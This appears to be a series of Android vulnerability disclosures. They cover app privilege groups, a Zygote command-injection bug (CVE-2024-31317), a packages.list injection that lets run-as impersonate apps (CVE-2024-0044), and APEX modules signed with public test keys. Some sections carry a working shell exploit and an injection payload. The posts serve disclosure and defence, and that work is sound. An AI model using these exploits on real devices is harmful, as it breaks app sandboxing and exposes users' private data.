In modern Android, two main things determine what an app can do—the set of permissions it’s been granted and the SELinux domain it runs in. Permissions typically gate Binder access to system services and app components on a call-by-call basis, while SELinux gates access to Linux kernel objects (e.g. files, sockets, device nodes) and to entire Binder services. Although any app on Android can define a permission, we’ll constrain our discussion to platform permissions, which are permissions built into Android that control access to system APIs.

Most platform permissions are defined in the manifest of the special android package¹. Note how each one includes a protectionLevel string consisting of a base type (normal, dangerous, signature, or internal) modified by zero or more flags (denoted with a leading |, as in |privileged). A permission’s protectionLevel indirectly specifies which apps may use it.

App SELinux domains are defined as part of Android’s OS-wide SELinux policy. SELinux is used for more than just apps, so app domains (e.g. priv_app) are denoted by the appdomain attribute. A set of textual policy rules, located in /system/etc/selinux/plat_seapp_contexts and similar files on other Project Treble partitions², tell Android which domain to assign a given app.

Although protectionLevel and seapp_contexts fully define the privileges available to each app, both are complex and have many special cases, so it can be hard to pick out which parts matter. In our experience, most apps on a device can be classified into one or more of the following five groups, each of which grants certain privileges. Every group but the first represents some flavor of “system app”:

• Untrusted apps are apps that can be built by a third-party developer and installed to any Android device. Android will only grant them platform permissions with base type normal or dangerous, and they run in some flavor of untrusted_app SELinux domain. This is the vast majority of apps on the Play Store.
• Preinstalled apps are all the apps that come with a device. They’re located in app/ and priv-app/ directories under /system, other Project Treble partitions, and APEX modules. Such apps can be granted |preinstalled permissions and are marked FLAG_SYSTEM. (Although that flag’s documentation says it “should not be used to make security decisions,” some APIs give it special treatment anyway.) Updates to preinstalled apps, which live in /data/app/ like untrusted apps, are still considered preinstalled.
• Privileged apps are preinstalled apps that live in priv-app/ instead of app/. (Prior to Android 4.4, there was no priv-app/ and all preinstalled apps were privileged.) They run in the priv_app SELinux domain and can request |privileged permissions subject to the constraints of privapp-permissions.xml (introduced in Android 8).
• Platform-signed apps are apps that share a signing key (the “platform key”) with /system/framework/framework-res.apk and so can be granted signature platform permissions. They run in the platform_app SELinux domain. Platform-signed apps don’t need to be preinstalled, but they typically are.
• System-UID apps are platform-signed apps that run as the system user (UID 1000) by specifying android:sharedUserId="android.uid.system" in their manifest; for example, here’s where the Settings app specifies it. Only platform-signed apps can do that, as the standard rules of sharedUserId require all apps in a UID to share a signing key. System-UID apps run in the system_app SELinux domain and bypass all permission checks. Notably, system is just one of several special users that appropriately-signed apps can run as.

If an app qualifies for multiple SELinux domains, Android prioritizes them in this order: system_app, platform_app, priv_app, untrusted_app. This is theoretically the order of descending privilege, but nothing enforces that. For example, we’ve seen devices whose vendor SELinux policy lets priv_app access resources that system_app cannot!

These groups describe the most common ways apps qualify for special privileges, but they are not comprehensive. Here are just a few examples of why two apps in the same group(s) might end up with different privileges:

• The user has opted into a dangerous permission for one but not the other.
• Their signing keys differ, giving them access to different sets of app-defined signature permissions.
• One has been assigned a role that grants it certain privileged permissions. (|role is one of several lesser-used protectionLevel flags we didn’t discuss.)
• seapp_contexts contains a rule that puts one into a special SELinux domain based on its package name or UID. (Vendors often use such rules to give their own apps extra hardware access.)

Nonetheless, we find these groups very useful as a mental model. For example, they helped us quantify the security impact of two vulnerabilities we discovered that let attackers run code in the context of various apps. We hope you’ll find them equally useful.

Thanks to Yiannis Kozyrakis, Adam Sindelar, Nik Tsytsarkin, and Vlad Ionescu for improvements and corrections.

A patch for the issue, tracked as CVE-2024-31317, is included in today’s Android Security Bulletin. As is Google’s practice, device vendors were sent the bulletin a month ago, so updates for supported devices should be forthcoming or already available. Android builds with a June 2024 or later patch level are no longer vulnerable.

Background: Android app isolation

Despite its Linux kernel, Android’s security model differs fundamentally from that of desktop Linux. Linux is often called a multi-user operating system, but Android might be more appropriately called a multi-app operating system. On Android, what a process can do is determined not by which user started it but by which app it belongs to, and the OS guarantees that one app cannot impersonate another.

That concept of app identity—which Android implements by giving each app its own Linux UID—underpins most Android security policy. Per-app permissions gate sensitive API calls, cryptographic keys and account credentials are visible only to the apps that created them, and device management actions are exclusive to a designated “device owner” app. If an attacker finds a way to impersonate a highly-privileged app, that’s often all they need to achieve their objective.

In my last post, we impersonated apps by exploiting an injection vulnerability in a file used by run-as, a tool designed to debug apps during development. run-as was an attractive target because it’s one of the few processes on Android that’s allowed to change its UID¹. However, run-as can only be invoked from the ADB shell, quite a high bar for an attacker. In this post, we’ll lower that bar by instead exploiting Zygote, one of the few other processes that can change its UID.

Background: Zygote

When an app starts, Zygote is what creates its main process and sets that process’s identity. Although only System Server² can send commands to Zygote, it does so in response to requests (e.g. Activity launches) made by ordinary apps. When System Server receives a request for an app that’s not running, it starts that app by telling Zygote to spawn a process with the appropriate package name, data directory, UID, SELinux domain, and so forth.

Notably, System Server controls security-critical parameters like the new app’s UID. Zygote, perhaps because of its early position in the boot sequence, doesn’t query those parameters from the Android package database itself. That means we can impersonate arbitrary apps if we can control the commands System Server sends—no Zygote exploit needed!

Zygote runs as a daemon and accepts commands on a UNIX stream socket at /dev/socket/zygote. Stream sockets aren’t message-oriented, so Zygote’s wire protocol must define where one command ends and the next begins. It does so very simply: each command is UTF-8 text and consists of a decimal number followed by that many arguments, each on its own line. The line after the final argument begins the next command.

A command consists only of a sequence of arguments. Unlike most command protocols, Zygote’s has no concept of a “command type”. Every command by default spawns a new process, and the arguments specify the details of that process. Certain special arguments override that default, causing Zygote to instead perform some other action.

Here’s an example of a typical process spawn command (with many arguments elided for brevity), followed by a special “set API denylist exemptions” command, which will prove relevant very soon. The text in brackets is explanatory and not part of the protocol:

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

Vulnerability details

We have found a global setting in Android, “hidden_api_blacklist_exemptions”, whose value gets included directly in a Zygote command. System Server doesn’t expect the setting to contain newlines, so it neither escapes them nor denotes them in the command’s argument count. By writing a malicious value to that setting, an attacker can place lines of their choosing after the last declared argument. When Zygote sees those lines, it believes them to be a separate command, which it executes!

The vulnerable code path begins at a ContentObserver callback in System Server, which fires when hidden_api_blacklist_exemptions is changed for any reason:

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

From this code, we see that the setting contains a comma-separated list of strings which gets split into an array and passed down to ZYGOTE_PROCESS.setApiDenylistExemptions(). The code incidentally prevents the attacker from using commas, but it does nothing to newlines.

ZYGOTE_PROCESS is a singleton instance of ZygoteProcess, a client for Zygote’s wire protocol. setApiDenylistExemptions() just calls another method, maybeSetApiDenylistExemptions(), twice: once for the primary (64-bit) Zygote, and once for the secondary (32-bit) one:

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

And just like that, the command goes out on the wire. None of these three methods reject or escape newlines.

Interestingly, ZygoteProcess has a method that issues an arbitrary command and sanitizes newlines, but it’s hardcoded to expect a “spawn process” response, making it unfit for use here. Since not all Zygote commands spawn processes, the inclusion of that assumption in what would otherwise be a generic helper function likely led directly to this bug.

Exploitation

Challenge #1: NativeCommandBuffer

On Android 11 and below, exploitation is as simple as described above. In Android 12, however, Google augmented Zygote’s Java command parser with a fast-path C++ one and made both parsers read from the socket via a new class, NativeCommandBuffer.

NativeCommandBuffer makes this vulnerability harder to exploit, not because of its architecture but because of a bug. readLine(), which reads bytes from the wire, fills a local buffer with bytes from the socket and then extracts lines from that buffer, refilling it as necessary. But after parsing all of a command’s lines, Zygote discards³ any remaining bytes in the buffer and reads the next command from the socket. This behavior causes three problems:

1. If a client writes two commands in a row before Zygote gets around to reading, Zygote will ignore the second one.
2. If a client writes a command and a half (e.g. because the second command takes multiple write() calls) before Zygote reads, Zygote will ignore the start of the second command as above. Furthermore, it will parse the end of the second command as if it were the beginning, which is itself a security flaw. Note, however, that System Server (Zygote’s only client) never writes multiple commands at a time, so this scenario (and the previous one) does not happen in practice.
3. If we as attackers use the exact exploit described above, we’ll hit case #1 and our injected lines won’t do anything.

Despite this roadblock, we can still exploit the bug on Android 12+! All we need is a way to keep our malicious command out of Zygote’s first read() call. We initially tried lengthening our exploit to exceed the buffer length Zygote passes to read(), but unfortunately Zygote aborts if a read ever fills its (12200-byte, expanded to 32768-byte in Android 13) buffer completely. So instead we turned to timing: we can assume that Zygote spends most of its time blocked in read(), which means any write we make is likely to trigger an immediate short read, even if we make another write shortly after.

As we saw, maybeSetApiDenylistExemptions() makes multiple calls to state.mZygoteOutputWriter.write(). But do those calls map directly to socket writes? It turns out they don’t, as mZygoteOutputWriter is a BufferedWriter, which aggregates writes in an internal buffer before writing to the underlying transport.

This is a stroke of luck, as it gives us a ready-made way to issue two socket writes with a decent delay between them. BufferedWriter has a buffer size of 8192, smaller than Zygote’s buffer. By padding System Server’s command to exactly 8192 bytes before inserting our malicious command, we force BufferedWriter to write those 8192 bytes first. Zygote will ignore the padding, but it won’t ignore the remainder of our exploit, since—Linux scheduler willing—that will arrive in a separate read() call.

To make this outcome more likely, we can insert a large number of commas at the end of our setting value, causing maybeSetApiDenylistExemptions() to spend time looping after the first write but before the second. Those commas also increase the legitimate command’s argument count, but that’s not a problem as long as we ensure the first 8192 bytes contain at least that many newlines. We just need to stay within two limits:

1. We shouldn’t write more total bytes than Zygote’s command buffer can hold. If we do, we risk crashing Zygote if it happens to read them all at once.
2. The first command’s argument count shouldn’t exceed Zygote’s limit, which it sets to half its buffer size, because that will also cause a crash.

We wrote a script to generate an proof-of-concept that combines these techniques, respecting all relevant constraints. See the Appendix for detailed discussion of a sample output. In testing across multiple devices, our PoC reliably executes on the first attempt.

Challenge #2: return value confusion

A successful exploit degrades or prevents subsequent process launches until a reboot. That’s because the injected Zygote command outputs extra result bytes that System Server doesn’t consume. System Server uses a single connection to Zygote for all non-USAP commands, so those bytes stick around until it tries to spawn another process, at which point it reads them instead of that process’s PID. System Server won’t bind a process without record of its PID, and processes that fail to bind get killed.

We avoided this issue on Android 12+ by slightly modifying our exploit: we declared an argument count for our injected command that exceeded the number of newlines in our final socket write, which forced Zygote to perform an additional socket read while parsing it. That read ate whatever command happened to follow ours (overwhelmingly likely to be a process spawn) and prevented Zygote from executing it. Our malicious command in effect replaced that legitimate command, and System Server consumed its PID (actually our PID) as normal, allowing subsequent PIDs to remain in sync.

This modification also made persistence feasible, as the setting can retain its malicious value across reboots without disrupting the boot process.

Attack scenarios

Scenario #1: privilege escalation

Any app with android.permission.WRITE_SECURE_SETTINGS can write to hidden_api_blacklist_exemptions and trigger the exploit. Android declares that permission’s protection level as signature|privileged|development|role|installer, which means unprivileged apps can’t request it⁴. Various preinstalled apps hold it, though, and an attacker who compromises any of those can use this bug to further escalate privilege.

Scenario #2: ADB shell

The ADB shell can also read and write settings; it even has a settings command to make doing so easy. An attacker with physical access to an unlocked device—or a user who wants to bypass system policy (e.g. MDM restrictions) on a device in their possession—can trigger the exploit that way.

Scenario #3: Signed Config

There’s one other way to set hidden_api_blacklist_exemptions, which is why it exists to begin with: any app (even an Instant App!) may contain a special pair of <meta-data> tags in its manifest, containing

1. a Base64-encoded value to store in hidden_api_blacklist_exemptions; and
2. an ECDSA signature of that value by a hardcoded, Google-controlled key.

If such an app is installed and the signature is valid, Android will immediately apply the setting value, potentially triggering the exploit.

We believe the signature verification and surrounding logic to be correctly implemented, so it’s likely that the only actor who can exploit devices this way is Google themselves. Nevertheless, most Android devices are not 1st-party Google devices, and this bug could give Google much greater access to those devices than OEMs and users expect. Notably, CTS requires that Google-signed metadata be accepted, meaning most OEMs couldn’t remove this exploitation path even if they tried.

The intended purpose of this functionality is benign: hidden_api_blacklist_exemptions was created to be nothing more than an escape hatch to the undocumented API restrictions that Android 9 introduced⁵. Were it not for the vulnerability we’ve detailed, malicious values would pose no great threat.

Response

We reported our findings privately to Google on December 12th, 2023. On December 20th, the Android Security Team rated it High severity. Google shared a patch for the immediate issue with us on March 26th, 2024, which we reviewed and verified prevents all known exploitation paths. That is the patch Google released today.

Today’s patch does not address the architectural weaknesses we identified, like Zygote’s use of a hand-rolled stream protocol or ZygoteProcess’s lack of a reusable function to safely serialize commands, as those entail bigger changes and are not directly exploitable. Google has has communicated that they’re considering such changes going forwards, though.

Issue list

For ease of reference, here’s a numbered list of the technical flaws we identified in this report:

1. [Bug] Newlines contained in hidden_api_blacklist_exemptions are not sanitized before inclusion in Zygote’s newline-delimited wire protocol, allowing command injection.
2. [Weakness] As of Android 12, Zygote will only process one command per read() call, dropping any extra bytes. It’s never permissible to condition behavior on the read() boundaries of a stream, as the kernel can batch or split writes arbitrarily. (Our original report to Google identified this as an exploitable bug, but Google correctly pointed out that all existing Zygote clients are fully synchronous, meaning at most one command will be buffered in practice.)
3. [Weakness] ZygoteProcess has no single abstraction to serialize an array of arguments into a wire-format command, which means each newly-implemented Zygote command presents a fresh opportunity for an injection bug.
4. [Weakness] Zygote uses UNIX stream sockets, which require a custom message framing protocol, instead of UNIX datagram sockets, which provide built-in framing.
5. [Weakness] Zygote uses a rudimentary, hand-rolled command protocol instead of a mature RPC protocol like Binder.

Appendix: proof-of-concept

For illustrative purposes, let’s imagine that BufferedWriter buffers only 64 bytes and that Zygote limits commands to 100 bytes (meaning it will abort if a single read ever returns 100 bytes or more). Plugging those parameters into our script, along with a 3-argument injected command—["--some", "--malicious", "command"], results in the following value for hidden_api_blacklist_exemptions:

AAAAAAAAAAAAAAAAAAAAAAAAAAA3
--some
--malicious
command
,,,,X

System Server sees this as a comma-separated list with 5 entries. Note that we distinguish “entries” from arguments: the former are the comma-separated list items provided to System Server via hidden_api_blacklist_exemptions, while the latter are the Zygote command arguments that go out on the wire. In this example, the 5 entries are as follows…

[
  "\n\n\n\n\nAAAAAAAAAAAAAAAAAAAAAAAAAAA3\n--some\n--malicious\ncommand\n",
  "",
  "",
  "",
  "X",
]

…but because we’ve injected newlines, those entries don’t correspond directly to arguments. Instead, the first entry spans 5 arguments and then continues on to start a second 64-byte block with our malicious command! Here’s what maybeSetApiDenylistExemptions() ends up writing to Zygote’s socket (brackets for annotation, as before):

6                              [arg count: special arg + 5 entries]
--set-api-denylist-exemptions  [uncontrolled arg #1: action to take]
                               [beginning of entry #1: empty args #2-#6]




AAAAAAAAAAAAAAAAAAAAAAAAAAA3   [pad to exactly 64 bytes, then arg count]
--some                         [args #1-#3: malicious command]
--malicious
command

                               [entries #2-#5, emitted in loop, each
                                lengthening the delay between writes]

X

There are just enough A characters to make 3, the beginning of our malicious command, occur at offset 64. And there are just enough empty “delay entries” to bring the total size to 99, as high as it can go without exceeding Zygote’s length limit. That gives us the best timing we can get while still keeping failures silent.

Note that the last delay entry isn’t empty like the rest. That’s to work around the fact that Java’s String.split() function, used by System Server to parse the setting value, discards trailing empty strings.

Appendix: disclosure timeline

• June–November, 2023: We find and document the bug after noticing weaknesses in Zygote’s wire protocol.
• December 12th, 2023: We report our findings to Google, who passes them to the Android Security Team.
• December 20th, 2023: Google notifies us that they’ve rated the issue High Severity.
• February 6th, 2024: We ask Google for a progress update. They respond on February 20th that they’re developing a fix but have no ETA.
• February 15th, 2024: We extend our tentative disclosure date from March 12th (90 days after disclosure) to April 4th to accomodate planned time off within RTX.
• March 12th, 2024: Google proposes a call to discuss their fix, which we schedule for March 26th.
• March 26th, 2024: On the call, Google shares a proposed patch with us and we agree on a coordinated disclosure date of June 3rd, 2024. Google also disputes our assertion that Zygote’s read() semantics pose a security threat in practice, which we accept after further investigation. Google requests a draft of this post to help with their messaging.
• April 11th, 2024: Google offers us a $7,000 bounty for our report, which we request be donated to charity. (Google, like Meta, doubles bounties paid to charity.)
• May 6th, 2024: Meta is sent the June 2024 Android Security Bulletin preview, and RTX confirms the patch we saw is present and learns the CVE ID, CVE-2024-31317.
• May 21st, 2024: Google shares the CVE ID with us via our bug report.
• June 3rd, 2024: We share a draft of this post with Google (and apologize for not sharing one earlier). Later in the day, it, our disclosure, the April ASB, and CVE-2024-31317 all go live.

Footnotes

Google assigned the issue CVE-2024-0044 and fixed it in the March 2024 Android Security Bulletin, which becomes public today. Most device manufacturers received an advance copy of the Bulletin a month ago and have already prepared updates that include its fixes.

Vulnerability details

On Android 12 and 13¹, a newly-installed app’s “installer package name” is not sanitized when set via pm install’s -i flag. Neither pm nor the underlying PackageInstallerService check that it doesn’t contain special characters, let alone that it references an installed package.

Although special characters in the installer package name are harmlessly escaped when written to /data/system/packages.xml, they are not escaped when written to /data/system/packages.list, which replicates certain package metadata in a simple newline- and space-delimited format. By providing a name with newlines and spaces, an attacker with ADB shell access can inject an arbitrary number of fake fields and entries² into packages.list.

One user³ of packages.list is run-as, which lets the ADB shell run code in the context of a given app. run-as is designed to reject non-debuggable apps, but it queries the app’s debuggability—along with its UID, SELinux context, and data directory—from packages.list. By injecting a fake entry that preserves the latter but alters the former, the attacker can bypass the debuggability check and become nearly any app on the system.

We say “nearly” because run-as does have some extra defense-in-depth checks, the most notable of which is that it won’t assume non-app UIDs (including the system user, reserved for the most highly-privileged apps) even if packages.list says it should. It also doesn’t assume the same SELinux context as the real app, since it only considers seapp_contexts with fromRunAs=true: this makes no difference for unprivileged apps, since runas_app is strictly more privileged than untrusted_app, but it does prevent the attacker from taking actions gated to priv_app or platform_app—even as an app that normally could.

The issue is compounded by a separate logic bug in run-as that lets it target privapps. Typically, that would be forbidden by the checks in check_data_path(), which try to ensure that

1. every parent of the app’s data directory is owned by system, and
2. the data directory itself is owned by the app’s UID.

Since run-as isn’t allowed to stat() privapp_data_file, check #2 should fail for a privapp either with a UID mismatch (if the fake app has the wrong data directory) or with a permission denial (if it has the right one). However, the check_directory() helper that performs each check includes a special case for the path /data/user/0. Although intended only to allow that path to be a symlink, the special case inadvertently also skips UID validation. So by setting the fake app’s data path to /data/user/0, the attacker can satisfy run-as’s internal security checks. And once in runas_app, they can read and write privapp_data_file because Android somewhat perplexingly allows any app to do that.

On Android devices with Google Mobile Services (GMS), the attacker can gain persistence within GMS (escalating to gmscore_app in the process) by rewriting the cached ODEX/VDEX files in /data/user_de/0/com.google.android.gms/app_chimera/m/*/oat/, which contain unsigned executable code that GMS loads. Some of that code is also loaded into apps that use Google APIs, allowing persistence there too. This isn’t a bug per se, but it does highlight the importance of enforcing W|X in privapp data directories.

Exploitation

A basic exploit takes just 4 lines:

# Pretty ugly way to get the package's UID, but I couldn't find a simpler one.
UID=$(pm list packages -U | sed -n "s/^package:$1 uid://p")

# This is the line we inject...
PAYLOAD="@null
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# ...and this is how we inject it.
pm install -i "$PAYLOAD" any-app.apk

Since “installer package name” is the last field in a packages.list entry, all we have to do is provide a legitimate-looking value followed by a newline and any forged entry we want. For this PoC, we gave the forged entry a package name of “victim”, meaning run-as victim will switch to the UID and SELinux context described by that line. We set the UID dynamically based on the real package we intend to exploit, and all the other fields are set to fixed or dummy values:

• The third field, 1 indicates the package is debuggable.
• The fourth, /data/user/0, is the data path needed to become privapps as described in the writeup.
• The fifth field is used to derive the SELinux domain and is set to a generic value that will work for any app targeting API >= 28.
• The other fields don’t matter to run-as.

Attack scenarios

A local attacker with ADB shell access to an Android 12 or 13 device with Developer Mode enabled can exploit the vulnerability to run code in the context of any non-system-UID app. From there, the attacker can do anything the app can, like access its private data files or read the credentials it’s stored in AccountManager. This violates the security guarantees of the Application Sandbox, which is supposed to safeguard an app’s data from even the owner of the device.

Non-system privapps are vulnerable, but for those the attacker does not gain any SELinux permissions beyond what run-as grants for a normal unprivileged app. That means no access to Binder APIs marked only as system_api_service, for example.

Response

We reported this vulnerability privately to Google on October 24, 2023. Google acknowledged our report immediately, and the Android Security Team rated it as High severity the following week. On December 19th, Google informed us they’d developed a fix and planned to release it with the March Android Security Bulletin, which they acknowledged was past Meta’s default 90-day disclosure period. We offered to move our disclosure to match theirs, as is our policy when a vendor demonstrates a good-faith effort to promptly address an issue.

As planned, this post, our accompanying disclosure, and the March ASB were all released today.

Issue list

For ease of reference, here’s a numbered list of the technical flaws we identified in this report:

1. [Bug] It’s possible to inject newlines and spaces into packages.list on Android 12 and 13.
2. [Bug] run-as accepts /data/user/0 as a data directory for any app.
3. [Weakness] run-as trusts the data path from packages.list when userId == 0, even though it has enough information to construct that path itself (as demonstrated by the userId != 0 case).
4. [Weakness] untrusted_app is granted broad SELinux permissions on privapp_data_file, even though (as far as we’re aware) there’s no legitimate need for write access.
5. [Weakness] Android stores AOT-compiled ODEX/VDEX files alongside the APK they’re for, even when that APK is in an app-writable data directory. It does not apply an alternate SELinux label, such as the already-extant app_exec_data_file, to prevent apps from altering them.

Appendix: disclosure timeline

• July 23rd, 2022: We notice the packages.list injection vulnerability as part of unrelated Android research and build a basic run-as PoC, but other planned work prevents us from investigating further.
• May 5th, 2023: We return to the issue and discover the exploit can be tweaked to work for privapps too. We begin looking for interesting data files among privileged apps.
• June 5th, 2023: We demonstrate persistent code execution in GMS and in apps that use Google SDKs by modifying cached code GMS’s data directory.
• October 24, 2023: We report our findings to Google, who passes them to the Android Security Team.
• November 3rd, 2023: Google notifies us that they’ve rated the issue High Severity.
• December 12th, 2023: We ask Google why they settled on High severity, as that contravenes their published rubric which says that exploits requiring Developer Mode are Low severity at most. Google responds that attacks “against the device or an app on the device”, as opposed to “against the device user themselves”, are not subject to that restriction.
• December 19th, 2023: Google says they’ve developed a fix for the injection vulnerability but won’t be able to release it until the March 4th, 2024 Android Security bulletin. They ask for an extension of our tentative 90-day disclosure date, which we agree to.
• December 22nd, 2023: We meet briefly with members of the Google VRP and Android Security teams to discuss details of the disclosure plan. Google tells us that the report qualifies for a $7,000 bounty.
• January 16th, 2024: Google officially offers us the bounty, which we ask them on January 26th to donate to charity. (Google, like Meta, doubles bounties paid to charity.)
• February 6th, 2024: We ask Google to confirm the CVE ID of CVE-2024-0044, which we learned from the March ASB partner preview, as they had not yet told us. They confirm it.
• March 4th, 2024: This post, our disclosure, and the March ASB all go live.

Footnotes

Google assigned the issue CVE-2023-45779, and most affected OEMs have now fixed it. Any device that comes with the Play Store is no longer vulnerable if it advertises at least a 2023-12-05 Security Patch Level (SPL).

Background

APEX modules allow OEMs to update certain files in an OS image without issuing a full OTA. To do so, they locate each updatable unit (e.g. Bionic or ART) in its own ext4 filesystem image inside an .apex ZIP file, which gets mounted under /apex. An initial version of each APEX is preinstalled in /system/apex (or /vendor/apex, etc) during the OS build, but those versions can be superseded by updates installed later in /data/apex.

To ensure APEX updates are trustworthy, Android checks that each one is signed with the same keys as the preinstalled version of that APEX. APEXes carry both a standard APK signature and an AVB signature on their interior filesystem, and both are checked in this way. So to create a valid APEX update, one must possess both the APK and AVB private keys that were used to sign that APEX when the OS was built.

When it comes to signatures, though, an “OS build” isn’t just one step. Android’s core build system signs every APEX, APK, and OTA image it produces with a fixed set of “test keys”, and there’s no way to change that. Test keys are public in AOSP’s source tree: for example, this is the test key that signs the filesystem of the com.android.art APEX.

As described in AOSP’s documentation, the job of re-signing a build with OEM-held “release keys” falls to a Python script called sign_target_files_apks, which unpacks a built image, replaces all the signatures, and repacks it. Re-signing as a separate step has several benefits, but it also introduces the risk that not every test signature will get replaced. And that’s exactly what seems to have happened for several OEMs.

Vulnerability details

We analyzed OS images of recent Android devices from 14 reputable brands (listed below) and found that seven of those devices contained at least one preinstalled APEX signed only with AOSP test keys, for which anyone can produce an update.

Every vulnerable device we found had one highly-privileged vulnerable APEX in common—com.android.vndk. This APEX holds shared libraries that HALs in the /vendor partition link against. Thanks to the existence of Same-Process HALs, those libraries get transitively loaded into most processes on an Android system, including

• zygote64, from which System Server and every app process is forked;
• surfaceflinger, through which all screen contents pass;
• and of course all the HALs.

We demonstrated code execution in all of the above via a malicious com.android.vndk.v31 APEX update for a vulnerable device, a Lenovo Tab M10 Plus (Gen 3, Wi-Fi) running Android 13. You can find our proof-of-concept, as well as a script to check for vulnerable APEXes, here.

As an aside, com.android.vndk is somewhat odd because there are multiple copies of it—one for each Android API level /vendor can target, of which there are several thanks to Project Treble. Each copy has a different APEX name (e.g. com.android.vndk.v33 for Android 13), and it’s only useful to exploit the one /vendor actually uses. On all the devices we tested, every copy was equally vulnerable.

Attack scenarios

Fortunately, Android tightly controls who can install APEX updates. Although APEXes look like APKs and are installed via PackageManager, the INSTALL_APEX flag is restricted to packages that hold android.permission.INSTALL_PACKAGES or android.permission.INSTALL_PACKAGE_UPDATES, both of which are signature|privileged permissions and cannot be obtained by third-party apps. And even packages with that permission must additionally either

• run as the system user
• run as the shell user
• be designated as “module installer” in /{system,vendor,product,odm}/etc/sysconfig/

In practice, that limits the exploitability to four attack scenarios:

1. A user uses adb shell to exploit their own device, gaining access to nearly everything a typical “root” gets them. Since access is distributed across many SELinux contexts, root-aware tools and apps won’t work unmodified. On the other hand, root detections won’t trip: to them, the malicious APEX will be indistinguishable from legitimate OS code.
2. A malicious actor with physical access to an unlocked device uses adb shell to install persistent malware without the user’s knowledge and gains long-term access to all data and activity on the device. The malware will likely go undetected by on-device scanners for the same reason a root will.
3. A malicious actor chains this exploit to one that gets them code execution in com.android.vending (the “modules installer” on all Project Mainline devices) or a system UID app to escalate their privileges and gain persistence.
4. A malicious actor who gains access to whatever Google Play backend serves APEX updates remotely exploits devices en masse. We do not know the details of Project Mainline’s infrastructure so cannot assess how feasible this is. For example, it becomes far more plausible if OEMs are allowed to upload APEX updates to Google Play than if only Google is, as there are more credentials for an attacker to compromise. In that case, depending on the specifics of update targeting, a malicious OEM could potentially even exploit other OEMs’ devices.

Root cause

Why did so many OEMs make the exact same mistake? Recall that AOSP comes with instructions to re-sign a build, a script to perform that re-signing, and—as a last line of defense—its extensive Compatibility Test Suite, which enforces various compatibility and security guarantees. Shouldn’t one of those have warned OEMs of vulnerable APEXes?

In answering that question, we uncovered a number of deficiencies in AOSP that, together, make it far easier to create a vulnerable build than a secure one.

Incomplete CTS coverage

Most critically, we found that several APEXes are not checked by CTS at all. Two CTS tests look for test keys: PackageSignatureTest checks both APKs and APEXes for insecure APK signatures, while ApexSignatureVerificationTest checks APEXes for insecure AVB signatures. But both tests hardcode lists of test keys, which over time have diverged from those actually in use. As a result, several vulnerable APEXes are not caught by either test.

The nature of APEXes makes such divergence inevitable: unlike APKs, which share just a few test keys, APEXes all have different test keys, meaning each new APEX is a new opportunity for divergence. In our view, the only fix is for CTS to check signatures against the source of truth—the build system. In fact, the build system already records which test keys it uses to a file called apexkeys.txt, which plays a part in…

Unsafe defaults

sign_target_files_apks, which re-signs a build, doesn’t guarantee replacement of every test signature. On the contrary, it doesn’t replace any test signatures by default! Run without arguments, it signs each APEX and APK using the very same test keys the build system did, which it finds by parsing apexkeys.txt and apkcerts.txt respectively. We assume this default was intended as a starting state for arguments like --key_mapping, but we’re unsure why the absence of such arguments doesn’t result in at least a warning.

Here too, a risk that was low for APKs—forgetting to specify a test key’s replacement—became a near certainty once APEXes appeared. Because each APEX has its own test keys, each must be mapped to a release key individually. And although enumerating every APEX in Android is clearly error-prone—especially as new Android versions regularly add and remove APEXes—that’s exactly what AOSP’s documentation instructs OEMs to do. And speaking of that documentation…

Poor documentation

AOSP’s “Sign builds for release” article begins by declaring that Android uses signatures in “two places”, APKs and OTA updates. There is no mention of APEX signatures in the introduction, nor anywhere prior to a section titled “Advanced signing options”, which gives the guidance above.

Furthermore, neither the names nor the locations of APEX test keys themselves (e.g. this one) make it clear that they’re test keys. In contrast, APK test keys all live in a single directory alongside a notice that they should “NEVER be used to sign packages in publicly released images”.

Without documentation to the contrary, an OEM might believe that APEX re-signing is optional or unimportant until CTS failures arise. They then might address those failures and think nothing more of the matter, confident that CTS and sign_target_files_apks know what needs signing. And who could fault them for that?

Other factors

Although far less important than the three issues above, these two details may have also misled OEMs:

